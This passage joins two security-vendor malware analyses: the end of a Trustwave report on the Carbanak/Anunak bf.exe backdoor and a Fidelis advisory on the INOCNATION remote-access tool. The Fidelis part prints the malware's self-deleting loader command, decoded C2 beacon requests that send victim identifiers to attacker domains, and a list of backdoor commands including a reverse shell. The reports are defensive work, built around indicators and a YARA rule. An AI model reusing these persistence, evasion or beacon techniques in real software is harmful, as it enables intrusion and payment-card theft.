Network Command and Control Servers: http://148.251.18.75 http://95.215.46.221 http://95.215.46.229 http://95.215.46.234 http://81.17.28.124 Detailed Analysis of Carbanak Malware: bf.exe File Info Filename: bf.exe Size: 267216 Filetype: PE32 executable (GUI) Intel 80386, for MS Windows Compile Date: 2016-03-01 08:50:54 Sha1 Hash: 3d00602c98776e2ea5d64a78fc622c4ff08708e3 MD5 Hash: c7b224d95fc96094afd2678cae753dcb Summary 9/14 The file is a variant of Anunak/Carbanak malware.
It provides functions from gathering information about the system to downloading and executing additional malware.
Analysis: Malware Installation This malware unpacks its main executable in memory and executes it.
It then drops a config file in the appdata\Mozilla folder as well as copy of itself with the filename svchost.exe.
The config filename is a base64 string comprising of a unique string and the MAC address of the infected system.
For example V14UDFcJZ1FfXQIIVA to V14UDFcJZ1FfXQIIVA.bin.
It then spawns a new svchost.exe process with the command: C:\WINDOWS\system32\svchost.exe -k netsvcs and then injects its code to that process.
After process injection, the main malware executable terminates.
In this example the Mutex named V14UDFcJZ1FfXQIIVA is then created.
For persistency, it registers itself as a service with the following details: Service name: RpcSsSys (this name is random, may vary on different systems) Path: C:\Documents and Settings\All Users\Application Data\Mozilla\svchost.exe Display name: Emote Procedure Call (RPC) Anti-reversing The malware checks for the isDebugged flag in the PEB (Process Environment Block).
It also checks for significant delay of code execution by utilizing the GetTickCount() function.
Delay in code execution means the process is being debugged.
Strings are heavily obfuscated to avoid static string analysis.
The malware has a decoder table loaded in memory that is used for its lookup algorithm.
All strings are deobfuscated on-the-fly.
decodertable  \x00\x12\x1C\x13\x0A\x0D\x14\x07\x15\x0C\x16\x09\x05\x03\x17\x1D\x1A\x10\x1F \x0E\x08\x06\x11\x04\x1E\x19\x0B\x1B\x01\x02\x0F\x18\x20\x21\x42\x5E\x24\x25\x26\x4A\x28\x29\x6A\x6B \x2C\x2D\x53\x22\x30\x31\x7F\x4E\x34\x35\x4B\x5A\x38\x39\x7A\x7B\x3C\x3D\x43\x5F\x40\x41\x62\x63\x44 \x45\x46\x27\x48\x49\x47\x2B\x4C\x4D\x73\x4F\x50\x51\x52\x2E\x54\x55\x56\x57\x58\x59\x3A\x5B\x5C\x5D \x7E\x72\x60\x61\x2F\x23\x64\x65\x66\x2A\x68\x69\x67\x36\x6C\x6D\x33\x6F\x70\x71\x3F\x6E\x74\x75\x76 \x77\x78\x79\x37\x3B\x7C\x7D\x3E\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 A sample code snippet of the Decoder: An API Hashing technique is also utilized by the malware in order to hide relevant API functions it uses in its code.
Rather than storing imported API names in the body, the malware author has pre-calculated the CRC hash of the API function.
On runtime, all the malware does is to look-up the equivalent API name from its generated hash table.
Antivirus retaliation Specific Kaspersky antivirus processes are terminated: avp.exe avpui.exe 10/14 Escalation of Privilege The malware checks the system OS: Windows 8.1 Windows 8 Windows 7 SP1 Windows Vista SP2 Windows RT 8.1 Windows RT Windows XP SP1 Windows XP SP2 Windows XP SP3 Windows Server 2012 Windows Server 2012 R2 Windows Server 2008 SP2 Windows Server 2008 R2 SP1 Windows Server 2003 SP2 If found, it attempts to exploit a vulnerability in win32k.sys identified as CVE-2013-3660 to escalate the privilege of the malware process.
Obtaining the Proxy Settings The malware gets the proxy setting from the Internet Explorer registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer It also gets the proxy setting stored in Mozillas prefs.js file.
The attacker however can push its own custom proxy settings to the malware.
Enabling Remote Desktop The malware enables the Remote Desktop by starting the Termservice service.
It also sets the service to auto-mode so that the service will start on Windows startup.
It also enables the following Terminal Server registry key: HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server fDenyTSConnection 11/14 EnableConcurrentSessions AllowMultipleTSSession POS Malware Before the main POS routine, the malware searches data from the log file named nsb.pos.client.log and C:\NSB\Coalition\Log It then enumerates the processes listed in a config file (klgconfig.plug) pulled from the control server.
From here it scrapes the process memory heap for credit card data, specifically the Track 1.
After collecting the card data, it creates a file where it stores the information.
This is the code snippet where it saves the data to an XML file: Outlook Items The malware also targets victims email data by scrounging the victims Outlook PST files for contacts email addresses, possibly to be used for further spear-phishing attacks from known individuals.
Local Password Stealer The malware utilizes the open source project called Mimikatz and reused codes from this project to steal clear text local passwords from Lsass memory dump.
Plugins 1.
ifobs.pl- the malware reused code from the Carperp ifobs module to target a banking application called iFOBS.
This is a very popular banking platform in Russia and Eastern Europe and this malware can be used to compromise IFOBS banking systems.
When using this module, the malware hooks the following libraries: 12/14 VistaDB_D7.bpl, HProc2, 0xA9782FE7, OpenDatabaseConnection ,  RtlData1.bpl, HProc3, 0x1678D314, TaskAfterSynchRun ,  vcl70.bpl, HProc4, 0x8D55F8B4, TCustomFormShow , vcl70.bpl, HProc5, 0x3DF02899, TCustomFormCloseQuery ,  RtlStore.bpl, HProc6, 0xCF6CD66, GlobalAppStorage ,  RtlData1.bpl, HProc7, 0xAFD2F1E2, FillDataToDBCache , 2.
ammyy.pl- this enables the malware to run AMMYY remote desktop control software 3.
vnc.pl- this enables the malware to run a remote desktop VNC application Backdoor Commands The attacker can also send backdoor commands.
In the malware code, a command hash table is used to compare commands (in readable strings) sent by the attacker, the hash of this command string is calculated by the malware.
If the hash of the string matches any hash in the table, it executes the corresponding action.
The image below is the command and its corresponding hash (in green font) Network It connects to a hardcoded IP address: 5.45.179.173 or 95.215.45.94 through an encrypted tunnel at port 443.
Compiler/Artifacts The following sections describe artifacts found in the file Malware Version Info legalcopyright: Blattering internalname: Soulfulness companyname: Maidish Leveraged 13/14 legaltrademarks: Bobcats Kinsman filedescription: Sanger originalfilename: Adoptable Nightjars Conclusion In many ways, this attack follows a very common series of events: 1.
Social engineering / phishing used to gain initial network foothold 2.
Cleverly disguised malware establishes remote control of victim system and downloads additional tools 3.
Attacker conducts reconnaissance to scan network, expand foothold, and identify high-value targets 4.
Payment card information and/or PII (personally identifiable information) is captured and exfiltated back to the attacker.
However, the persistence, professionalism, and pervasiveness of this campaign is at a level rarely seen by Trustwave.
The malware used is very multifaceted and still not caught by most (if any) antivirus engines.
The social engineering is highly targeted, conducted via direct phone calls by threat actors with excellent English skills.
The network reconnaissance and lateral movement is rapid and highly effective.
Finally, the data exfiltration methodology is stealthy and efficient.
Carbanak is one of the most sophisticated threat actors in the cybercrime realm today and this report details a very active campaign currently being leveraged against hospitality and restaurant industries (and probably others).
We encourage everyone to search their network for the IOCs described in this report and to contact Trustwave immediately if any are found.
https://www.trustwave.com/Company/Contact/ Credits for the analysis and creation of this cyber threat announcement: Rodel Mendrez, Reno Zenere, James Antonakos, Brian Hussey 14/14 https://www.trustwave.com/Company/Contact/ New Carbanak / Anunak Attack Methodology Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool.
Vbs (Version 1) Detailed Analysis of Carbanak Malware: Malicious Word Document Attachment / Adobeupdatetool.
Vbs (Version 2) Detailed Analysis of Carbanak Malware: bf.exe Conclusion
WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 1 THREAT ADVISORY Fidelis Threat Advisory 1020 Dissecting the Malware Involved in the INOCNATION Campaign As the findings of a new malware attack campaign named INOCNATION emerged, Fidelis Threat Research investigated the Remote Access Tool (RAT) used in this campaign.
We discovered some interesting characteristics.
This particular RAT employs simple and cunning techniques to prevent its discovery or further investigation.
The embedded anti-analysis techniques and other capabilities introduce tradecraft that is integrated directly into the malwares layers.
Specifically we found that the malware utilized the following techniques: ff Different types of XOR techniques to obfuscate components and its contained strings ff The use of trusted security software as a decoy during initial infection ff Sandbox detection ff A mangled MZ header to deceive security products ff String Stacking obfuscation with Unicode Strings ff More than one layer of obfuscation for its command and control traffic ff Un-Install functionality MD5 Hash Function Description A7BD555866AE1C161F78630A638850E7 Initial Launcher/Dropper Executable (EXE) 2F7E5F91BE1F5BE2B2F4FDA0910A4C16 Decoy Installer for Cisco AnyConnect Mobility Client Executable (EXE) 4F4BF27B738FF8F2A89D1BC487B054A8 RAT Installer Executable (EXE) 75D3D1F23628122A64A2F1B7EF33F5CF RAT Implant/Payload OLE Control Library (DLL) 68F1419721354EC1f78A71E10B54FCA8 Cisco AnyConnect Mobility Client Valid Signed Executable (EXE) Initial Launcher/Dropper MD5 Hash: A7BD555866AE1C161F78630A638850E7 The initial launcher/dropper writes two executable files to the hard drive, the RAT Installer (MD5: 4F4BF27B738FF8F2A89D1BC487B054A8) and the Cisco AnyConnect decoy (MD5: 2F7E5F91BE1F5BE2B2F4FDA0910A4C16).
This launcher is also responsible for the initial execution of both the malware and decoy processes.
Both embedded executable files are obfuscated with an XOR operation using a single-byte hexadecimal key of 0x62, but both the XOR byte and the Null byte (0x00) is skipped.
By skipping over the XOR bytes and Null bytes this helps the malware to protect itself from static analysis tools by preventing an accurate extraction.
The only difference between the two de-obfuscation routines is how many bytes are XORed at a time during each round.
The RAT Installer is XORed six bytes at a time and the Cisco decoy is XORed four bytes at a time.
This additional code suggests that the malware author may change in the future from a repeated single-byte XOR key to a non-repeated multi- byte XOR key to better protect any future embedded malware.
http://www.
FidelisCybersecurity.com http://www.crowdstrike.com/blog/sakula-reloaded/ WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 2 Figure 1 - Six-byte XOR Routine (Malware Decode) Figure 2 - Four-byte XOR Routine (Decoy Decode) Decoy Installer for Cisco AnyConnect Mobility Client (MD5: 2F7E5F91BE1F5BE2B2F4FDA0910A4C16) Figure 3 - Cisco Installation Prompt Presented to the Victim WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 3 After being initiated by the initial launcher the legitimate looking decoy Cisco Installer process executes and becomes visible to the victim.
The target victim may choose to continue or cancel the installation, but despite a victims decision to cancel the installation the malware infection continues under a separate running process.
It silently begins to create and entrench the loaded malware into the systems background.
If the victim chooses to continue with the Cisco installation the Cisco AnyConnect Mobility Client software is actually installed, as shown in Figures 4 and 5.
Figure 4 - Installed Files from the Cisco AnyConnect Software Install Figure 5 - Execution of Cisco binary vpnui.exe (MD5: 68F1419721354EC1f78A71E10B54FCA8) The attackers use of decoy software is the same as when a threat actor will decide to display a decoy PFD or Office Document, to give the victim a sense that everything is fine and that there is no need to inform the IT or the Security team for investigation.
But the decision by the attacker to use a widely known security application as an embedded decoy is a slightly more sophisticated ploy to the average user or to a less experienced systems administrator.
WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 4 Figure 6 - Signature Verified by VirusTotal The Cisco AnyConnect, vpnui.exe, appears to be a legitimate application signed by Cisco with the following digital signature details: Name of signer:  Cisco Systems, Inc.
Signing time:  Friday, July 24, 2015 Certificate serial : 63 6c 75 43 dd bd f9 69 f4 73 16 0f 4b 09 9b 9e By choosing common VPN software there is a high chance that the chosen vendors software may be in use within the intended victims corporate environment.
Some investigation by the victim into the legitimacy of the software title, like in Figure 6, is intended to give a sense that it was the right thing in installing this security software.
Also, users are bombarded by various software applications to apply security patches or by IT departments to install new software for upgrades and increased security.
Most security software runs in the background so it may be that users have become more willing to run security software because they know they need it despite that they dont know what it actually does or how it is supposed to work, just that it is supposed to protect them.
The use of this Cisco application could also reveal that the intended targets of this attack may be a system administrator holding higher-level privileged access credentials to multiple areas of the network enterprise and infrastructure.
If this malware were to be copied amongst other copies of an administrators software library, the system administrator may later confuse this malware for other legitimate Cisco software, thus infecting him and/or another user to whom the software was forwarded.
Please note that this is not a vulnerability or exploit within the Cisco product, but a decision by the attacker to use a Cisco application as a decoy.
Other attacks have been reported to use similar security software lures, such as Juniper Networks and Microsoft Exchange.
RAT Installer (MD5: 4F4BF27B738FF8F2A89D1BC487B054A8) During reverse engineering of the RAT Installer we observed that the file implemented an anti-behavioral analysis technique.
This technique compared the mouse/cursor pointers screen position coordinates at two different points in time (5000 milliseconds).
The author is using routine to detect whether the malware has been executed without a user being present, which is typically done during sandbox analysis.
This technique will defeat less sophisticated sandboxes that do not implement simulation actions, such as mouse movement or mouse clicks during runtime analysis.
http://blog.airbuscybersecurity.com/post/2015/10/Malware-Sakula-Evolutions-28Part-2/229 WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 5 Figure 7 - Simple Sandbox Detection Check via Mouse Movement The RAT Installer contains an obfuscated malicious DLL payload, which it rebuilds and installs.
The embedded file (MD5: 75D3D1F23628122A64A2F1B7EF33F5CF), later written to disk as adobe.dat, is obfuscated with a double XOR loop with keys 0x2C and 0x7B (this is mathematically equivalent to a single XOR loop with the byte key 0x57).
Once this DLL is de-obfuscated, we observed another common anti-behavioral analysis technique used to try and extend the longevity of the loaded payloads usage.
The malware is missing an appropriate MZ header.
The first two hexadecimal bytes of the payload data are 0x9B 0x8A, but they should start with 0x4D 0x5A, the bytes for the ASCII characters MZ.
This is a method attackers can use to confuse virus detection engines looking for malicious code as an effort to detect or disinfect the data in memory.
Virus detection engines generally hook API calls in User mode or Kernel mode that are used for file input/output, such as the WriteFile API call.
If an intact executable is found within the memory buffer the binary is sent off for behavioral analysis by the detection engine.
In order to prevent detonation on hosts other than that of the intended victim, the malware author has purposely mangled the first two bytes of the RAT Implant.
After writing the payload implant code the first two bytes of the file are corrected from 0x9B 0x8A to 0x4D 0x5A and the malware is entrenched into the system.
Figure 8  Two WriteFile API calls.
The First to Write the Payload File and Then the Second to Correct the First to Bytes to MZ.
WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 6 Figure 9 - Registry Entrenchment Entry The RAT Installer also sets the entrenchment/persistence mechanism for the payload malware.
While this is a trivial persistence method, the malware Payload DLL has the ability to reference this registry key during the un-install routine, which will be described later.
Finally, just before exit the RAT Installer lauches a new process with a similar argument string to, cmd /c ping 127.0.0.1del TEMP\ Center111940519.exeregsvr32 /s AppData\adobe\adobe.dat.
Within this command several things are happening: 1.
A ping to local host acts as a command to sleep for four seconds 2.
Delete itself, the RAT Installer file, Center111940519.exe 3.
Execute the Implant DLL Payload file RAT Implant/Payload (MD5: 75D3D1F23628122A64A2F1B7EF33F5CF) Figure 10 - Unicode String Stacking then XOR deobfuscation of the User-Agent String WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 7 Analysis of the malicious payload DLL reveals that the malware was using a string stacking technique that moves four bytes of a Unicode string at a time into memory.
This technique is used as needed throughout the binary and each time with different XOR key bytes.
For example, the string at the relative virtual address (RVA) 0x10001630 is loaded and then XORd with key 0x0d to reveal the following User-agent string in Unicode format: Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0rv:11.0) like Gecko Similar activity also occurs at RVA 0x10000179F where the string is XORd with key 0x14 to reveal the following static string observed in the beacon to the C2: 1a53b0cp32e46g0qio9 The code for that procedure is below: While this string stacking technique is very common within shellcode, it is less frequently used with Unicode strings because Unicode strings are two bytes in length for every character, as compared to one-byte length for ASCII characters.
This technique doubles the amount of data needed for the string.
Other malware families such as Ixeshe/Etumbot, which are known to be used by Numbered Panda, also utilize this technique.
The string stacking technique is used to make analysis more difficult so that the strings cannot be easily discovered by malware analysis tools such as XORSearch.
Again, the less-interesting Double XOR routine appears to be used to obfuscate the C2 domain with the single-byte keys 0x70 and 0x79.
In this case the Double XOR with 0x70 and 0x79 is mathematically equivalent to a Single XOR operation using 0x09.
While the Double XOR is a trivial technique, it is the sum of the routines and keys used in malware that can end up leading to attribution.
The obfuscated string is: 10006148  60 09 67 09 66 09 6A 09 67 09 68 09 7D 09 60 09  .g.f.j.g.h... 10006158  66 09 67 09 27 09 6A 09 66 09 64 09              f.g..j.f.d.
WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 8 Below is a table that shows the mathematical logic in how the above is decoded into the actual C2 domain: Obfuscated String 1st XOR Key Result 2nd XOR Key C2 Hex C2 ASCII 60 10 69 i 09 79 00 67 17 6E n 09 79 00 66 16 6F o 09 79 00 6A 1A 63 c 09 79 00 67 17 6E n 09 79 00 68 18 61 a 09 79 00 7D 0x70 0D 0x79 74 t 09 79 00 60 70 69 i 09 79 00 66 16 6F o 09 79 00 67 17 6E n 09 79 00 27 57 2E .
09 79 00 6A 1A 63 c 09 79 00 66 16 6F o 09 79 00 64 14 6D m 09 79 00 WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 9 And this is the portion of the code responsible for this process: Figure 11 - Assembly Code Instructions for the Double XOR Routine Next, the malware implant uses more than one layer to obfuscate its network Command and Control (C2) communications.
The outer layer is an encrypted HTTPS via an SSL/TLS connection using the Windows standard SSL/TLS libraries.
A SSL/TLS connection is used as an effort to prevent others in the open Internet from seeing the contents of a communication.
Figure 12 - Malware Sets the Flag WINHTTP_FLAG_SECURE Requesting An SSL/TLS Connection Out Commercial enterprises will generally purchase SSL Inspection hardware that essentially perform a Man-In-The-Middle technique on all SSL/ TLS traffic that passes through it, allowing the entity to have visibility and inspection of network traffic that would otherwise be non-visible.
During analysis we noticed that within the decrypted SSL/TLS communication the commands to/from the C2 are encoded with a single-byte XOR.
An additional layer used to thwart detection and analysis efforts.
For targets in which a victim is seated in an organization that has an SSL Inspection device, the malware takes this additional step to further hide its network activity.
The malware uses the single-byte XOR key 0x5C to send the victims data back to the C2, and in the C2 response back to the malware the command arguments received are obfuscated with a different key of 0x2E.
Completely decrypted and de-obfuscated network traffic from this malware will look like the following (replace COMPUTER_NAME with actual name of computer, host header remove brackets): POST /-1289335108[COMPUTER_NAME].1a53b0cp32e46g0qio9 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0 rv:11.0) like Gecko Host: inocnation[.
]com Content-Length: 8 Connection: Keep-Alive WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 10 In the above POST request, the string 1a53b0cp32e46g0qio9 is staticly embedded within the binary, not changing between C2 beacons, and the negative value -1289335108 refers to the signed integer representation of the Victims Volume Serial Number without the dash (-).
Figure 13 shows this representation for a Victim system using the Volume Serial Number: B326-4EBC.
Figure 13 - Hexidecimal to Signed Integer Conversion The DLL can accept the following list of commands from its C2: Binary Command Description 0x10 Process Execution 0x90 Reverse Shell 0x02 File Activity (delete file, directory browsing, etc.)
0x60 0xA0 Upload File to Victim System 0x04 Download File From Victim System 0x70 Get System Information 0x80 Uninstall Malware The Uninstall command was the most interesting, suggesting that the actor controlling this malware would like to keep a limited number of victims by removing this tool when commanded.
THE FIDELIS TAKE The techniques documented in this report indicate a level of sophistication that make reverse engineering more difficult and to obscure the intentions of the actor behind this malware.
Using Cisco AnyConnect software as a lure continues a pattern of using typical corporate software as a vehicle to infect victim machines.
The use of multiple XOR keys and string stacking show the actor is spending great effort to deceive reverse engineers and incident responders.
The use of both SSL/TLS and encoded communications show the knowledge many enterprises perform SSL man-in-the-middle decryption of traffic and this provides a layer to hide communications from incident responders.
This paper highlights many of these techniques and how we were able to bypass them.
Fidelis Cybersecuritys products detect the activity documented in this paper and additional technical indicators are published in the appendices of this paper and to the Fidelis Cybersecurity github at https://github.com/fideliscyber.
We want to thank our fellow security researchers at CrowdStrike for sharing hashes of the malware samples analyzed in this report.
https://github.com/fideliscyber WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 11 Appendix A: Summary of Informal Triage Analysis On Discovered Payload Files MD5 Hash Function Description 75D3D1F23628122A64A2F1B7EF33F5CF RAT Implant/Payload OLE Control Library (DLL) D9821468315CCD3B9EA03161566EF18E RAT Implant/Payload OLE Control Library (DLL) B9AF5F5FD434A65D7AA1B55F5441C90A RAT Implant/Payload OLE Control Library (DLL) The first two DLLs beacon to inocnation[dot]com.
The malware for this analysis was compiled between April - August 2015 and the DLLs exhibited a very low detection rate on VirusTotal.
Analysis of the file with MD5 Hash: 75D3D1F23628122A64A2F1B7EF33F5CF In our lab, this file is written as APPDATA\adobe\adobe.bat.
It is an OLE Control DLL exporting the basic functions named DllRegisterServer and DllUnregisterServer.
This file is dropped by the executable file with MD5 hash: 4F4BF27B738FF8F2A89D1BC487B054A8.
File Metadata File Name: adobe.dat File Size: 22016 bytes MD5:  75d3d1f23628122a64a2f1b7ef33f5cf SHA1:   3d7b789e3a630c0bd9db0b3217f72348025b845c PE Time: 0x55372A7A [Wed Apr 22 04:58:34 2015 UTC] PEID Sig: Microsoft Visual C v6.0 DLL Sections (4): Name  Entropy MD5 .text   6.46  5c3d9bac10a06111e2bb1356bce6140a .rdata 4.62  69fc21366b719cab74f899fb18a8c26f .data 0.0  bf619eac0cdf3f68d496ea9344137e8b .reloc s4.28  4e2b7dd08fa32594616a1d463e9b0975 Entrenchment mechanism for persistence into the system: Key:   HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Value name: AdobePlayer Value data: regsvr32 /s C:\Documents and Settings\[USER_NAME]\Application Data\adobe\adobe.dat Analysis of the file with MD5 Hash: D9821468315CCD3B9EA03161566EF18E This DLL payload is the same malware family, contains the same inocnation[dot]com C2 configuration as the one dropped by the file with the MD5 Hash: 4F4BF27B738FF8F2A89D1BC487B054A8, but looks to be compiled via a slightly different source.
File Metadata File Name: d9821468315ccd3b9ea03161566ef18e.dll File Size: 28672 bytes MD5:  d9821468315ccd3b9ea03161566ef18e SHA1:  b9308a65383681b862e16e4c042dbf7a61cce716 PE Time: 0x55ECEE49 [Mon Sep 07 01:54:17 2015 UTC] PEID Sig: Microsoft Visual C v6.0 DLL Sections (5): Name  Entropy   MD5 .text 6.48  ee6cde0fdae9bfa6c18b3783a23d0952 .rdata 4.77  886f6f3780467a511ae909d20390df5b .data 1.16  54d7948676ee96b2f9e0a141598b564d .rsrc 5.55  e5665b3b3ffbbfcd5f2cbf31677fcbf9 .reloc 4.64  c1cea8dced657cfc85b045a2421417f1 WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 12 When this malicious DLL is executed by calling it with its DllRegisterServer function, the Victim system establishes a secure and encrypted connection on port 443 and beacons with the following request (encryption layer removed).
POST /-1289335108[COMPUTER_NAME].1a53b0cp32e46g0qio7 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0 rv:11.0) like Gecko Host: inocnation[dot]com Content-Length: 8 Connection: Keep-Alive Analysis of the file with MD5 Hash: B9AF5F5FD434A65D7AA1B55F5441C90A This is a malicious DLL that belongs to the same malware family as the one dropped by 4f4bf27b738ff8f2a89d1bc487b054a8, and is almost byte-by-byte exactly similar except for the fact that it beacons to a different C2 domain mail.cbppnews[dot]com.
This DLL also contains the basic export functions of DllRegisterServer and DllUnregisterServer.
The main difference with the other malware is the C2 server.
File Metadata File Name: b9af5f5fd434a65d7aa1b55f5441c90a.dll File Size:  22016 bytes MD5:        b9af5f5fd434a65d7aa1b55f5441c90a SHA1:       9b1e902103f7e23d915f4d01c84779e0bdca6995 PE Time:    0x55372A7A [Wed Apr 22 04:58:34 2015 UTC] PEID Sig:   Microsoft Visual C v6.0 DLL Sections (4): Name      Entropy  MD5 .text     6.46     5c3d9bac10a06111e2bb1356bce6140a .rdata    4.64     76ae6bd3bce3f1fb9a86b9faac9b42be .data     0.0      bf619eac0cdf3f68d496ea9344137e8b .reloc    4.28     4e2b7dd08fa32594616a1d463e9b0975 When this malicious DLL is executed the Victim system establishes a secure and encrypted connection on port 443 and beacons with the following request (encryption layer removed).
POST /-1289335108[COMPUTER_NAME].1a53b0cp32e46g0qio9 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0 rv:11.0) like Gecko Host: mail.cbppnews[dot]com Content-Length: 8 Connection: Keep-Alive The following string represents the obfuscated format of the Command  Control (C2) domain: 00B9FD24  25 48 29 48 21 48 24 48 66 48 2B 48 2A 48 38 48  H)HHHfHHH8H 00B9FD34  38 48 26 48 2D 48 3F 48 3B 48 66 48 2B 48 27 48  8HH-H?HHfHHH 00B9FD44  25 48 The C2 domain is de-obfuscated using the same code observed in the analysis of the 75D3D1F23628122A64A2F1B7EF33F5CF (malicious DLL payload dropped into the system), but in this case the XOR keys used are different from the sample previously analyzed.
The XOR keys used are 0x39 and 0x71.
WWW.FIDELISSECURITY.COMFidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 13 Appendix B: File Summary and Technical Indicators MD5 File name AV Hits Common Risk Name Notes Compile Date a7bd555866ae1c161f78630a638850e7 Win-Release-web-deploy.
exe 17 Trojan.
CryptRedol Launcher/ Dropper Thu Aug 06 05:34:53 2015 5cb6e6e0fbe87eba975b5ae0efaf2ca4 Center14430654.dat / any- connect-win-4.1.04011- web-deploy-k9.exe 0 None Legit Cisco AnyConnect Mobility Cli- ent installer Mon Mar 01 10:28:24 2010 4f4bf27b738ff8f2a89d1bc487b054a8 Center111940519.dat 12 Trojan.
CryptRedol.
Gen.3 Malware installer Thu Aug 06 04:47:17 2015 75d3d1f23628122a64a2f1b7ef33f5cf adobe.dat 4 Trojan-FH- DR75D3D1F23628 Malicious DLL Wed Apr 22 04:58:34 2015 d9821468315ccd3b9ea03161566ef18e unknown 4 Trojan.
FHDRtr Malicious DLL Mon Sep 07 01:54:17 2015 b9af5f5fd434a65d7aa1b55f5441c90a adobe.dat 5 Trojan-FHDR Backdoor.
HIXOR.A Trojan.
Atr Malicious DLL Wed Apr 22 04:58:34 2015 Indicator List: File Entrenchment Paths: TEMP\Center1[Decimal_Result_of_GetTickCount].dat TEMP\Center[Decimal_Result_of_GetTickCount].dat AppData\adobe\adobe.dat Persistence Location: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] AdobePlayerregsvr32 /s AppData\malware\adobe\adobe.dat Memory Artifacts: inocnation[dot]com mail.cbppnews[dot]com 1a53b0cp32e46g0qio9 Hashes: A7BD555866AE1C161F78630A638850E7 4F4BF27B738FF8F2A89D1BC487B054A8 75D3D1F23628122A64A2F1B7EF33F5CF D9821468315CCD3B9EA03161566EF18E B9AF5F5FD434A65D7AA1B55F5441C90A DNS: inocnation[dot]com mail.cbppnews[dot]com Resolved IPs: 211.104.106[.
]41 (inocnation from August to October, 2015) 87.198.23[.
]40 (inocnation, current) 202.172.32[.
]160 (cbppnews, current) WWW.FIDELISSECURITY.COM Fidelis Cybersecurity    800.652.4020    infofidelissecurity.com CONTACT US TODAY TO LEARN MORE ABOUT FIDELIS Fidelis Cybersecurity TA1020_FIDELIS_INOCNATION_1512 Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use.
This document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written approval of Fidelis Cybersecurity, Inc.
While we have done our best to ensure that the material found in this document is accurate, Fidelis Cybersecurity, Inc. makes no guarantee that the information contained herein is error free.
14 YARA: rule apt_win32_dll_rat_1a53b0cp32e46g0qio7  meta: hash1  75d3d1f23628122a64a2f1b7ef33f5cf hash2  d9821468315ccd3b9ea03161566ef18e hash3  b9af5f5fd434a65d7aa1b55f5441c90a strings: // Mozilla/5.0 (Windows NT 6.3 WOW64 Trident/7.0rv:11.0) like Gecko c7 [2] 64 00 63 00 c7 [2] 69 00 62 00 c7 [2] 7a 00 7e 00 c7 [2] 2d 00 43 00 c7 [2] 59 00 2d 00 c7 [2] 3b 00 23 00 c7 [2] 3e 00 36 00 c7 [2] 2d 00 5a 00 c7 [2] 42 00 5a 00 c7 [2] 3b 00 39 00 c7 [2] 36 00 2d 00 c7 [2] 59 00 7f 00 c7 [2] 64 00 69 00 c7 [2] 68 00 63 00 c7 [2] 79 00 22 00 c7 [2] 3a 00 23 00 c7 [2] 3d 00 36 00 c7 [2] 2d 00 7f 00 c7 [2] 7b 00 37 00 c7 [2] 3c 00 3c 00 c7 [2] 23 00 3d 00 c7 [2] 24 00 2d 00 c7 [2] 61 00 64 00 c7 [2] 66 00 68 00 c7 [2] 2d 00 4a 00 c7 [2] 68 00 6e 00 c7 [2] 66 00 62 00  // offset 10001566 // Software\Microsoft\Windows\CurrentVersion\Run c7 [2] 23 00 24 00 c7 [2] 24 00 33 00 c7 [2] 38 00 22 00 c7 [2] 00 00 33 00 c7 [2] 24 00 25 00 c7 [2] 3f 00 39 00 c7 [2] 38 00 0a 00 c7 [2] 04 00 23 00 c7 [2] 38 00 00 00 c7 [2] 43 00 66 00 c7 [2] 6d 00 60 00 c7 [2] 67 00 52 00 c7 [2] 6e 00 63 00 c7 [2] 7b 00 67 00 c7 [2] 70 00 00 00 c7 [2] 43 00 4d 00 c7 [2] 44 00 00 00 c7 [2] 0f 00 43 00 c7 [2] 00 00 50 00 c7 [2] 49 00 4e 00 c7 [2] 47 00 00 00 c7 [2] 11 00 12 00 c7 [2] 17 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 10 00 0e 00 c7 [2] 11 00 06 00 c7 [2] 44 00 45 00 c7 [2] 4c 00 00 00  // 10003D09 66 [4-7] 0d 40 83 f8 44 7c ??
//
xor  word ptr [ebpeax2var_5C], 14h // inc  eax // cmp      eax, 14h // Loop to decode a static string.
It reveals the 1a53b0cp32e46g0qio9 static string sent in the beacon 66 [4-7] 14 40 83 f8 14 7c ?
?
// 100017F0 66 [4-7] 56 40 83 f8 2d 7c ?
?
// 10003621 66 [4-7] 20 40 83 f8 1a 7c ?
?
// 10003640 80 [2-7] 2e 40 3d 50 02 00 00 72 ?
?
//  10003930 08x08x08x08x wide ascii WinHttpGetIEProxyConfigForCurrentUser wide ascii condition: (uint16(0)  0x5A4D or uint32(0)  0x4464c457f) and (all of them)  http://www.
FidelisCybersecurity.com
